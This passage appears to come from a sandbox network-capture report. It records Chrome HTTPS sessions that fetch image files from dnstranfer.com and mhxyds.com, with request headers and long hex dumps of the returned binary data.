0b c8 38 e1 5f 92 88 f8 43 74 5e 7d 9e 20 80 07 17 94 c9 50 61 60 8b 0f 03 c1 0d cf de d1 7c c5 7a 42 bf 90 e3 73 f8 8a 
24 54 5a 9b 81 90 ae 1b a4 10 b9 2c 8d 35 ca e1 40 fd 70 dc 8c 2c 10 ed a8 36 db a5 f7 f7 49 e3 63 c3 08 74 1f e3 05 db 
b7 94 01 da c6 08 3a 9f 5c 19 54 03 ff 6b 90 1f 82 e8 bd d9 a3 45 dc 39 72 cd 86 71 19 f6 1b 83 91 2c e3 16 df dd 26 b2 
be d0 73 67 ae e5 27 49 c6 0c e6 e7 49 2e 25 bd 8b f6 
Data Ascii: `&r`[v0jg^!?2 jLj2/k'#y!1d~$Y}-G?z8_Ct^} Pa`|zBs$TZ,5@p,6Ict:\TkE9rq,&sg'II.%

2022-08-11 03:43:03 UTC 12574 IN Data Raw: f7 7b 8f 3e 0f 66 5f 02 6e 9f 09 38 6c 9d be 2e d0 81 bc d3 fb c6 97 af 11 14 b8 f4 31 3a c3 6c 82 6e 62 48 0a 
70 9f 49 82 42 7f e1 f0 09 e8 0e e0 8e d6 b4 76 ec fe 1d 31 4c 00 dc d1 7e bc 0f 86 fb 99 1d fc 96 92 5f 39 7c 62 03 9d a4 
2c ce 5d 7f 27 86 fb 7d 8c 35 3f cf 04 f5 df 8d d3 fa 93 c2 fa 15 40 c6 f0 c7 0b 18 ee ce 5c 3a 43 ca 3a c7 71 4a 9c 27 6d 
ec a3 db a5 c3 43 b8 33 9d fd be 4e 36 00 1a 0e 36 25 06 bb 9b c5 45 59 53 07 1f ab c1 8c ee ef ad e4 8c cf 0d 43 de f5 
90 df 6b ce 54 fe 38 00 6f 00 77 37 4d 6d 9a b9 b5 8d 03 46 c8 cd e8 0e 09 b4 d2 61 4e 3a 3c 01 9c 50 64 37 83 d4 81 ad 
59 59 2b f0 a9 11 f3 2d 3f 7c 66 f6 e0 33 e9 4a 67 8b 23 cb 8e bf 34 5b 1d 39 c8 33 14 0c 70 c3 01 2e c9 a8 88 a1 8d 71 
a4 67 7c 64 c8 4f 24 60 0b a3 c3 6e 69 7d be 76 
Data Ascii: {>f_n8l.1:lnbHpIBv1L~_9|b,]'}5?@\:C:qJ'mC3N66%EYSCkT8ow7MmFaN:<Pd7YY+-?|f3Jg#4[93p.qg|dO$`ni}v

2022-08-11 03:43:03 UTC 12727 IN Data Raw: 90 51 2f 8c 81 12 10 3c 1b 08 28 81 e5 ce 3d f2 d1 c4 4a 64 6c 4a af 7b 05 70 c4 96 0d 1d 77 f4 a2 85 62 d2 
b7 9d c9 dc 60 fc a9 80 12 6d 01 d3 36 18 e6 92 88 72 bf 01 b1 d4 65 4c 8b c1 02 20 32 ac fa b5 46 b9 4c 88 c5 66 0e 10 
58 26 b7 64 46 b0 86 02 56 57 96 27 b9 ab ce 10 97 6c 87 60 ca 93 41 80 be b8 82 23 8c 8c c8 2a 90 fc 95 67 9a 69 4c 
d5 00 4e b9 a4 98 08 42 00 86 0a 70 3f 41 4f 9b 40 de c8 8a 37 df 33 fb ce 9f 58 f3 c1 87 62 78 2b 80 79 7a 6c f9 f3 4f 2c 
3b f8 d8 b2 e5 89 3c 07 da d1 03 6b c7 0f 5c 62 08 13 cf ce ec 14 39 a5 a1 7f 17 e6 34 23 99 80 92 d8 ff a1 dd 2f 70 7e 
e1 1e 1c 92 fe 40 52 26 32 4b 60 22 13 44 19 23 5f 85 ce c9 91 d9 6a a5 4c a3 76 07 89 a1 a9 e6 f9 ec b3 bf b3 ec f3 9f 
99 b5 a5 b5 b3 8f ac 9d bd e5 41 22 31 ce 91 0e 23 20 52 
Data Ascii: Q/<(=JdlJ{pwb`m6reL 2FLfX&dFVW'l`A#*giLNBp?AO@73Xbx+yzlO,;<k\b94#/p~@R&2K`"D#_jLvA"1# R

2022-08-11 03:43:03 UTC 12743 IN Data Raw: f6 a6 8a b5 3a 59 72 fc fd b4 3c 53 19 99 b2 3d 1c 77 d4 ca 78 28 ed 97 b5 9f 72 30 1a 61 c6 f7 d3 3c be 6c 
57 8e 52 7a 2a e7 a8 e7 ee cf d9 fb 08 70 1f ea 20 c8 ab b5 88 f5 94 7e a3 38 34 c1 ae d6 24 a6 f6 89 e1 7e 9f e3 f7 d3 
35 4f 35 70 77 0d 4c 01 f7 b2 c8 dc 34 f3 dc 7d a7 8f be e2 3a 98 a7 8d dc 43 01 9c 8f 2e cd 07 7e f1 01 40 db f7 01 b8 97 
b7 79 34 e0 fd 7a bb 8c b4 af 07 54 c4 7d ab fc 36 40 f2 23 c1 76 77 77 b3 ed ca df ef 5b 94 0f be ee 53 f6 e7 4f 50 f5 23 
7b 38 eb f6 7b 1f 8f 8f f9 4e 0f a9 fb 9b 00 f7 9b c0 cc c7 2a ef 43 ca 3a 0e f6 6b bd f3 2e f0 75 72 f9 6d 8f 9f 6e c2 3d 58 
f2 85 cb 4e ee 83 07 c4 b5 2f dc 0a b8 4f 8e 00 c5 88 11 26 29 26 5e 1c 4a 92 9d 02 e0 de 6d db 38 9c ef a3 9e 6d 13 70 
b7 bc cc 0f 46 c3 7d fa ca 25 25 3f 75 b2 af 
Data Ascii: :Yr<S=wx(r0a<lWRz*p ~84$~5O5pwL4}:C.~@y4zT}6@#vww[SOP#{8{N*C:k.urmn=XN/O&)&^Jm8mpF}%%?u

2022-08-11 03:43:03 UTC 12759 IN Data Raw: f4 2d 32 02 32 43 44 c8 65 ca c4 78 02 f6 5a 97 e0 bb d6 14 e6 5d ee c1 2d 09 06 01 ba 73 2f 02 a3 c8 d1 a0 
99 2f 3d f6 04 f0 d5 78 96 2c 1b 78 07 82 3e 02 e3 93 c2 5a a8 e0 04 87 f6 5b 67 1c 29 79 83 60 28 41 52 6b 84 0f fb 41 
19 13 30 d4 fb 4d ab cc 04 79 56 60 2a cd 9c b7 d9 cb f4 1a 14 57 ba e5 33 82 6c 4d 74 98 60 33 fe 72 1f 64 49 0a d6 b1 
24 ec 3b ce 15 1d f7 47 7f 5d 49 41 ee 07 92 e0 8a 21 f6 00 f2 04 56 ab 41 4c 75 b4 d1 99 db 98 6f f8 bd 58 ef 78 d9 36 75
2c 97 30 d9 1d 30 bd dc 0f b1 dd db c7 65 31 87 99 6e 49 2f cc 6c c7 b3 8e 40 73 cf d9 0a f6 49 af da 9f 77 e8 ea 17 b6 f5 
18 37 e7 f3 22 dd 93 80 7b 06 9e 34 8f 01 7e a7 96 bb e6 e0 34 59 05 5c 56 d0 40 fa d7 bd 8c 5b 85 71 c2 b8 c7 83 64 7b 
88 f6 62 af 3a 9e 9d ae e3 f3 3f ff 07 f1 f2 5f fe 
Data Ascii: -22CDexZ]-s//=x,x>Z[g)y`(ARkA0MyV`*W3lMt`3rdI$;G]IA!VALuoXx6u,00e1nI/l@sIw7"{4~4Y\V@[qd{b:?_

2022-08-11 03:43:03 UTC 12775 IN Data Raw: 7a 1d d2 21 c8 00 c0 2e 07 d4 40 f3 b5 8f ca bb 59 68 00 9d 03 88 ae d2 f8 8e 58 cc 61 7f 73 f8 45 d7 1d 09 91 
34 8c 05 9c 85 59 0a f8 09 0b 7e 81 29 27 7a c1 c8 4b 34 c2 e2 a5 ae 20 b0 00 40 61 c3 54 ea 49 9f db 78 bd d8 db c0 f9 
98 d9 01 32 01 46 a6 7c 8d d4 52 24 65 0e e0 9e 72 34 22 90 02 ba 17 40 99 73 bc 9f 29 70 4b cc d3 3e 5e 96 69 bc b7 
14 a0 32 38 30 80 c3 01 0e f0 46 fe a5 d2 9b 07 00 e1 60 5f 4b 56 41 87 ba 1a 36 ac c1 4f c9 a1 00 9a c3 32 05 20 1e 0c 
a2 37 1e 47 35 b0 91 a7 74 6b a1 48 02 1c 03 90 ab 3d d1 cb b0 fc 82 f6 79 3a 19 da 50 d6 60 8c 65 81 74 10 d6 e1 d1 
ba ee 06 d7 61 8f d2 4e d6 d9 e6 5e dc 47 26 a3 34 08 c1 08 cd cd a9 dd 4e d9 a4 35 0f 20 04 13 30 c1 89 b2 45 51 70 
86 87 a3 a5 6f dd 5c 75 bd 04 1e 25 02 90 41 03 19 23 a2 09 8d 
Data Ascii: z!.@YhXasE4Y~)'zK4 @aTIx2F|R$er4"@s)pK>^i280F`_KVA6O2 7G5tkH=y:P`etaN^G&4N5 0EQpo\u%A#

2022-08-11 03:43:03 UTC 12791 IN Data Raw: 87 c5 3d f1 bc 3c 7d 12 f5 57 7f 2d d0 3d 56 67 d1 4d 08 c0 be 13 71 80 0c 0c 81 84 d3 68 be 78 12 cd 27 ab 
68 16 07 11 07 6f 47 3c 7c 3d ea 07 e3 a8 5f 1b 46 f5 d0 59 09 1d 7e 00 b0 d8 c9 cc e8 d3 d1 08 a2 1c 4b c2 06 59 92 aa 
1d 78 dd 98 3e 8a 98 3d 96 a1 f5 5a 7b 9f 2c a8 22 4d 84 44 18 80 f7 d0 fd 50 92 41 32 e7 e5 5d c8 9a c9 ec 98 34 78 96 
fe be 90 d4 fc 5d ef 09 9d d5 53 a2 d9 96 a1 b1 9f 87 b5 b9 15 0a db 02 1c 3d 4f 13 90 70 b6 d6 86 e9 0c 28 ac 2c 08 e6 
0d 79 58 74 0e 34 ed dd 8f 18 ef 79 7d 47 02 a9 9b db d7 63 32 89 c0 03 45 41 2b 02 92 84 0a 09 a8 f1 7c 32 69 16 9e b3 
91 6b 39 6d a3 79 32 8d f6 e8 49 74 27 27 b1 fa e2 2c a6 bf 38 8d e9 67 27 d1 1e cd d5 07 59 3d 00 d2 e9 ab da 3b 02 36 
02 b6 0f dd 67 cb 30 55 41 a4 b2 95 4c 10 01 ce ce 4e d1 
Data Ascii: =<}W-=VgMqhx'hoG<|=_FY~KYx>=Z{,"MDPA2]4x]S=Op(,yXt4y}Gc2EA+|2ik9my2It'',8g'Y=;6g0UALN

2022-08-11 03:43:03 UTC 12807 IN Data Raw: 7b 2f 3a b5 d7 2a 80 75 64 49 00 b8 07 b0 e5 c5 ea c7 e8 75 29 3f 12 d6 88 3e 2c 78 0c c0 bb 9c 03 ac 89 cf 
3e 09 e3 9c b5 8d b6 5b 1b b0 ea 18 e8 73 25 fd ac 73 63 92 31 00 dc 69 47 03 c9 de 67 74 b6 13 93 24 57 d8 3c b3 1a 
2c e7 b9 ce f6 ca 78 83 c1 79 8d 83 54 35 4f 9e 81 13 28 1c 98 55 6c 54 6c f2 22 45 47 40 c0 87 4f 05 cf 0b 60 ae f1 5a 
84 cd b2 3c 99 ec a5 33 97 b2 2c bd a7 15 a6 7d 1e 1d ac 90 a6 23 1c 9a fc 29 77 53 ea 94 c9 62 96 bd 71 fb eb 9c 41 00 
56 d9 52 c7 26 ed 1a d3 3a 57 7a 5c 2a fb b7 b5 04 8f 92 bf f0 2b aa cc e6 d7 ff 64 90 4d 20 91 ec 2b 62 70 9d 68 e7 8d 
24 c8 56 8b 0b c0 fd 65 5d f5 2e de 7b d1 02 e7 d3 02 27 41 f7 e7 05 64 9e b3 34 eb 94 e6 bc d8 ff 55 00 7b cf 59 97 35 
e0 7e 1a 38 f5 98 67 7e 5f 80 bb b6 c9 17 cd 74 3f 0b 10 f8 
Data Ascii: {/:*udIu)?>,x>[s%sc1iGgt$W<,xyT5O(UlTl"EG@O`Z<3,}#)wSbqAVR&:Wz\*+dM +bph$Ve].{'Ad4U{Y5~8g~_t?

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 12823 IN Data Raw: 3a 80 f7 8c e5 7f aa 8f 3f 65 9b 7e 1f a0 fb a6 86 bb cd c8 ac 4f f6 c2 fe 9c 07 08 f8 34 85 7b 01 ef 39 ee b6 17 
d4 3e cf 5a 66 df 33 cf ef cf 39 3e eb a5 cc db 73 2c ff b7 a4 64 9e 37 13 21 cb f4 c8 94 7a 5c c0 a3 f4 e4 59 ea 21 14 2b 
c7 e7 b3 8e a7 d3 46 d2 49 c0 7d f3 33 27 cb 99 80 f2 a6 a4 cc e5 37 0d b8 f7 c4 70 f7 97 8f 95 a6 8e 45 ef d7 80 bb c0 8f 
02 4c 24 43 58 6c e1 02 7e 9c df 70 7f 21 4f ca 0b 6e 2e a4 36 51 fd ae fe 5e 2f 25 a7 01 ee 1b eb 4c e2 a9 1b 77 96 47 
8b af 74 70 ff ea d4 e5 fb d4 5f a6 74 42 31 57 4b 26 e6 31 88 9e cf e3 99 a9 71 fe c8 10 2d 3a 96 1b 85 2a c5 dc bc 5c 65 
af af 9b 64 1d 83 95 86 bb 19 ee 5c ea 7b 00 ee 3f 18 46 97 34 f2 79 15 b3 fd 61 2c f6 7a b1 3a 44 e6 64 4f cc dd aa bb 
13 6d 6f 5b da ca 6b 0d 5f 81 ef fc 0e 30 
Data Ascii: :?e~O4{9>Zf39>s,d7!z\Y!+FI}3'7pEL$CXl~p!On.6Q^/%LwGtp_tB1WK&1q-:*\ed\{?F4ya,z:DdOmo[k_0

2022-08-11 03:43:03 UTC 12839 IN Data Raw: 52 f1 b8 6a bc 6f a7 a7 1c c3 0b 0b 06 fc 4b 37 ad 5c 8a 9b 8a b0 39 b1 b5 d7 4f 86 72 b3 23 96 af 3e 2e 37 35 
68 8c 74 df 6e fe 4b 4b 9a c1 ed 9c 63 da 9f f4 79 36 97 76 35 23 b4 82 12 10 9a 80 cf 88 73 bc eb 7e a6 58 1e 3f 2a 16 
06 9a 84 f3 21 7a 64 04 40 f1 93 4c f3 cf a2 9a 72 df a6 6b b1 8c 01 5d 8e 90 c4 88 9a 38 27 c7 72 95 56 b3 bd a8 c0 fb 
20 a6 ef 5f 97 e0 3a 80 08 29 85 21 11 6e 27 3b 16 a4 c5 fe 66 53 9a dc 60 15 ec 23 20 80 4b 39 23 2f 1a f3 29 8a aa 2d 
f9 ff e5 d8 b4 75 d5 18 85 c4 e5 d8 dd 4e c4 06 14 05 05 16 11 b4 e1 71 4f 93 1d 6d d7 bf 15 9c e2 6e 4e 84 83 84 24 90 
1a 89 d9 41 5c 1a 81 89 30 4f 9f 7b 47 2c 92 9a 40 2b 65 20 45 22 3f 01 1f 6d d0 53 90 cf 42 b9 38 ee 11 69 b5 eb 4e 41 
40 59 19 e2 67 23 11 e0 22 4e 2e 35 e7 ee eb a8 60 c4 
Data Ascii: RjoK7\9Or#>.75htnKKcy6v5#s~X?*!zd@Lrk]8'rV _:)!n';fS`# K9#/)-uNqOmnN$A\0O{G,@+e E"?mSB8i
NA@Yg#"N.5`

2022-08-11 03:43:03 UTC 12855 IN Data Raw: 3b 7a ff ee f7 a2 fa dd ef 46 37 b9 a5 80 d4 78 f8 30 aa 87 9f 45 3c fc b9 ce b5 0a 41 9c 02 22 db a6 42 d3 2d 
8b ee 15 c5 0d 5c fd 9d 0b 42 38 c1 11 22 77 ef 47 b7 ff 4e 74 e4 2c 1c 7d 12 d5 c9 cf a3 aa 56 11 7b 04 f4 be 1d 5d 6f 37 
62 7e 62 5c d1 ec 51 d4 ca af 60 4c 39 3c 84 3d ae 62 cd 39 37 d9 8d fa d6 1b 51 4f ee 29 70 b8 5a 2e a3 9a 1d 44 35 ff 
2c aa b9 31 52 5d 3d 8e b6 0f bb ff 96 83 4e 85 0e 1a bb 20 a0 2e 24 3b 9b 15 c8 aa 3c 08 d6 50 ba 18 1c c0 ac b0 60 61 
64 c6 42 2c 55 0f 3f 54 67 87 f2 36 08 39 e6 35 3a c4 08 5e 74 55 a8 5f c2 a1 99 9c e6 d9 bd a1 6b cf 8a c2 d8 dc d4 2f 
8a 71 08 fa 73 38 f9 8b a8 17 d8 a3 09 50 65 6b 78 27 e7 a1 0b 7f 04 ad b6 5d cf 3c 67 85 70 1b 1f 66 87 3b e7 8b 83 94 
b5 c4 8b 9d 9e db a4 b5 97 02 02 05 3c 17 f7 e8 94 
Data Ascii: ;zF7x0E<A"B-\B8"wGNt,}V{]o7b~b\Q`L9<=b97QO)pZ.D5,1R]=N .$;<P`adB,U?Tg695:^tU_k/qs8Pekx']<gpf;<

2022-08-11 03:43:03 UTC 12871 IN Data Raw: 0f 41 81 d5 8d 04 77 15 fc c5 55 77 88 2e f4 b8 51 af 89 3e 05 2f 0c 06 2a c8 b3 4c f2 3e 3a 5a 3a b9 d9 95 ea 
50 51 94 b3 23 1d 37 fc 7a 3e d5 7d 19 13 96 fc 87 01 5d 13 76 37 6c ee c7 7c 2e 64 b7 80 ee 33 1d 66 ed ee 15 ae 27 
e4 dd 64 51 4c 82 7b c1 ec 94 7c 9f 74 bc e7 b8 4b 7c 67 df 85 bf e1 77 c2 ff dc 08 ee cf 14 19 6e 5e 70 33 02 37 23 f0 ec 
11 78 11 7d e3 d9 9f fe c4 57 bc 12 91 ee 05 b6 ef ca 6f bd 60 3c 0b 4e a6 b8 86 74 81 78 49 42 df 45 db fd c2 82 7b f9 d0 
27 e0 2c be 12 17 f7 f9 6d b9 a6 f1 bc 56 a1 fd fc c1 b8 a6 6d 7c ee b9 f9 92 04 f7 cd 54 ff aa f6 6b 7b 20 9e 77 1d 7b 49 
db 7c 7e a8 2f fd 35 57 35 79 e7 17 58 f8 4b 2d 74 d8 c5 9d 77 17 d7 cc 70 df 1a ec fc ce 4d 00 e0 16 82 a5 b8 44 78 d0 
b4 78 bc 91 92 9f 32 6d b7 0f de 35 0b ef 72 f8 
Data Ascii: AwUw.Q>/*L>:Z:PQ#7z>}]v7l|.d3f'dQL{|tK|gwn^p37#x}Wo`<NtxIBE{',mVm|Tk{ w{I|~/5W5yXK-twpMDxx2m5r

2022-08-11 03:43:03 UTC 12887 IN Data Raw: 64 2e 2c 67 61 ed 63 d7 96 28 68 85 c5 4a c2 6f c6 b6 9c 00 21 57 cd b0 c3 a2 26 4c 85 ab c3 71 a3 73 02 45 
be 0b 2f 3e 5e 11 38 1b 76 46 69 c5 40 91 02 82 64 60 17 76 12 de 4e 13 d3 f0 2d 37 44 03 88 ba 78 91 01 6c 93 41 84 
4a 1e 31 66 ad aa bf 7f a4 fe df ff 52 dd 8f 4f d5 a3 c2 06 c6 ef 07 98 76 40 5d 86 96 ba 8d 7f 53 40 4a 5f 69 b7 ff 07 0c 0b 
f0 1d 45 38 ce ad e8 18 8a 02 9c bd 8e 09 29 4d 69 69 83 b7 ee d1 54 3a 3a b0 e7 76 bf 5c aa 7a 7a a2 fa c9 85 74 d1 ab 
5d 02 50 4a 4e 30 d6 1c 95 01 78 58 d4 f3 ff 01 90 e1 65 6d e8 5e 96 0d 72 07 f8 df 40 f0 21 f0 a1 53 3b 07 a0 02 38 08 
47 1d aa 02 b8 7b 38 01 fb 84 f6 01 df 33 64 8e f9 e5 43 86 c2 3e 01 93 85 eb 40 32 6c 12 c2 1a 07 b8 86 b5 45 e9 56 09 
ab ed 4b 4b 14 f3 93 75 2a 12 8b 38 b8 5b ab 99 b7 5e 
Data Ascii: d.,gac(hJo!W&LqsE/>^8vFi@d`vN-7DxlAJ1fROv@]S@J_iE8)MiiT::v\zzt]PJN0xXem^r@!S;8G{83dC>@2l
EVKKu*8[^

2022-08-11 03:43:03 UTC 12903 IN Data Raw: cf e3 e8 70 a2 08 cc f5 ca 5d 56 59 0c 71 47 d4 d4 ea 78 d6 22 7f 56 3b 0b 18 d9 b5 21 ba 37 31 8e e2 ad fd 
bb b1 42 c3 2e c5 de e6 58 98 a0 f4 8d 8e a4 01 d7 38 17 0a e9 dc 61 b9 ca 35 3c 6d d9 1c a8 69 bf 24 ae c7 63 d5 14 5f 
fc 41 45 ed 4f 41 6e ab 90 da 95 42 6a 58 c3 b8 a0 e4 62 17 d7 f4 a5 bb b5 b8 9f 02 fa 0e 27 bb 71 ae 3b cf 24 e0 ba cb 
16 00 7e 17 6e 98 de 54 9b 86 3e 1f 09 c4 ad 99 07 3b 14 bf 96 ba 78 7c a1 8f fe c3 5c 4f ff ba d1 68 3d d0 ee 61 ad 66 da 
6b 8d 47 3c f7 0f 2e a4 46 5d 60 c9 ff 6f f0 28 1f 68 6f 32 f0 71 03 7e 9f cf d6 9a 3b bc 94 4b 47 42 d8 3a 00 30 f7 01 80 
7a 1a 68 f8 c7 58 d9 e7 3d c1 b8 0b 7a b6 13 89 07 64 d6 18 94 e9 84 aa 72 08 46 a3 08 4a 25 f8 93 e1 9a 2f 5a cd 57 71 
8f 61 0b 99 41 13 30 d8 b5 7d 3a 69 42 95 cf c6 f1 
Data Ascii: p]VYqGx"V;!71B.X8a5<mi$c_AEOAnBjXb'q;$~nT>;x|\Oh=afkG<.F]`o(ho2q~;KGB:0zhX=zdrFJ%/ZWqaA0}:iB

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

225 192.168.11.20 63665 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:02 UTC 11479 OUT GET /jpg/hero_banner_746x419_peic_3656fa.jpg?h=419&la=en&mw=800&w=746&hash=7C1F89192750291
213D694E248308C865C3F5668 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

226 192.168.11.20 59034 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:02 UTC 11479 OUT GET /lipgupiao/assets/images/haoli1.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

227 192.168.11.20 51784 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:02 UTC 11580 OUT GET /lipgupiao/assets/images/haoli3.jpg HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

228 118.27.105.118 443 192.168.11.20 63664 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:02 UTC 11629 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:43:02 GMT
Content-Type: image/jpeg
Content-Length: 284064
Last-Modified: Wed, 23 Jan 2019 08:50:08 GMT
Connection: close
ETag: "5c482ac0-455a0"
Expires: Sat, 10 Sep 2022 03:43:02 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:43:02 UTC 11629 IN Data Raw: ff d8 ff e1 17 e8 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 ac 00 00 00 d8 00 0a fc 80 
00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 20 28 57 
69 6e 64 6f 77 73 29 00 32 30 31 37 3a 31 31 3a 31 35 20 31 33 3a 34 39 3a 30 30 00 00 00 00 03 a0 01 00 03 00 00 00 
01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 02 ea a0 03 00 04 00 00 00 01 00 00 01 a3 00 00 00 00 00 00 00 06 01 03 
00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 26 01 
Data Ascii: ExifMM*bj(1$r2i''Adobe Photoshop CC 2015.5 (Windows)2017:11:15 13:49:00&

2022-08-11 03:43:02 UTC 11645 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
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2022-08-11 03:43:02 UTC 11805 IN Data Raw: e1 b2 c8 5f 5a e8 f7 ee bd d4 be f0 ea aa 9e c8 c4 d7 6f 0e bf d7 16 77 0b 46 2b f7 a6 cb c3 a1 82 7d cb 83 67 
f0 cd b9 36 da d3 89 ac d8 b2 cb f7 f4 8a 7c cc e4 ba 2b 26 a6 1e eb 5d 13 8d b7 b1 65 cd d1 b5 76 5a a4 ed 2d 9d 46 8c 
d2 e4 27 82 4a 7c ae 62 35 62 18 51 c2 43 0f 41 16 76 96 48 c7 f8 fb df 5b fb 3a 54 1c b5 0d 05 0a 63 36 35 39 db 58 15 
32 a5 66 e3 aa bc 95 19 b3 a6 d2 fd 94 50 89 5e a6 a2 40 07 2a 74 5c f0 7d d0 b0 18 3d 7b 3e bd 46 c3 e1 6a da 89 65 
80 1c 1d 15 4c af e5 af ca 07 9f 29 57 0b 1f 5d 57 db 2a 38 a5 85 f9 16 d5 e4 b8 be 9f 7a f1 07 cf af 7e 7d 64 cd ee ad af 
b1 e8 99 62 c9 c3 4a 8c 7d 79 34 89 a6 ae af 6e 15 92 8e 07 02 a5 91 8f 1c 85 6b fd 01 f7 ef 11 7e 7d 6b a0 d7 0f bf e5 ae 
dd 18 0a 89 e4 18 3c 07 f1 9a 3f 1c b9 07 90 64 72 
Data Ascii: _ZowF+}g6|+&]evZ-F'J|b5bQCAvH[:Tc659X2fP^@*t\}={>FjeL)W]W*8z~}dbJ}y4nk~}k<?dr

2022-08-11 03:43:02 UTC 11821 IN Data Raw: 7d 55 45 3d 6d 7a 23 46 f4 ce 0a 8a 99 f5 c8 a8 a1 23 8a 50 35 5e c4 72 3d 99 bd b2 45 6a e7 cf a4 5b 74 6b 
14 2f 74 ff 00 18 e8 44 d8 98 a9 f0 d4 58 b8 e1 6a 78 02 45 51 06 3b ca ca 8d 3b 44 49 aa cc d4 87 d2 c6 91 49 21 24 3e 
99 0d b4 93 ed cb 50 34 1e 8b 2f 7f c6 65 d4 07 40 b7 6c d5 50 26 6b 19 41 42 c3 c1 95 66 6f bc 68 e4 32 56 b2 3f f9 44 
95 4a 53 59 78 dd 6d 19 22 d6 f6 96 7f ed 57 ed e8 e3 6d 8f c3 88 8f 2e b1 e2 e8 62 77 59 eb ab da 31 92 a1 a6 a9 cb c2 
53 f7 eb 45 3d 5d 74 34 78 ec 71 40 4d 2d 33 a3 af 94 be 85 21 bf c3 dd fd 7a 5b 27 0e 84 3c 3e da a0 9b ee 77 76 54 53 
49 41 8a 91 27 14 c1 9e 58 52 ae 15 f0 d2 61 59 d5 4c 73 63 78 04 a2 93 69 f9 3c 02 7d fb ed e8 be 4f 41 c7 a7 7c ce 76 
43 49 4d b9 b2 f1 a1 ca 3b 7d ae 07 15 20 d0 2e 40 26 90 
Data Ascii: }UE=mz#F#P5^r=Ej[tk/tDXjxEQ;;DII!$>P4/e@lP&kABfoh2V?DJSYxm"Wm.bwY1SE=]t4xq@M-3!z['<>wvTS
IA'XRaYLscxi<}OA|vCIM;} .@&

2022-08-11 03:43:02 UTC 11837 IN Data Raw: e2 be 58 e9 59 bb 2d 2f ee db 43 ad 96 86 8b 93 9f 90 eb 96 5e 8e b0 26 da 6c 1e fc cc 61 3e 44 60 24 aa ae 
d8 fb ba 7a 95 a5 cb c1 41 9b 0c 9f dd 0d d9 99 42 24 c8 64 f3 51 ab fd bc 08 5a 52 54 c8 a2 d1 b1 15 bf da ad 67 8c 82 
50 92 38 63 a1 06 cd b8 49 b3 dc a3 c9 2f 87 39 35 15 3a 4d 7e 5c 3a 33 7d 4d db 49 d9 db 42 7c 75 1e 39 b6 9f 67 ec a4 
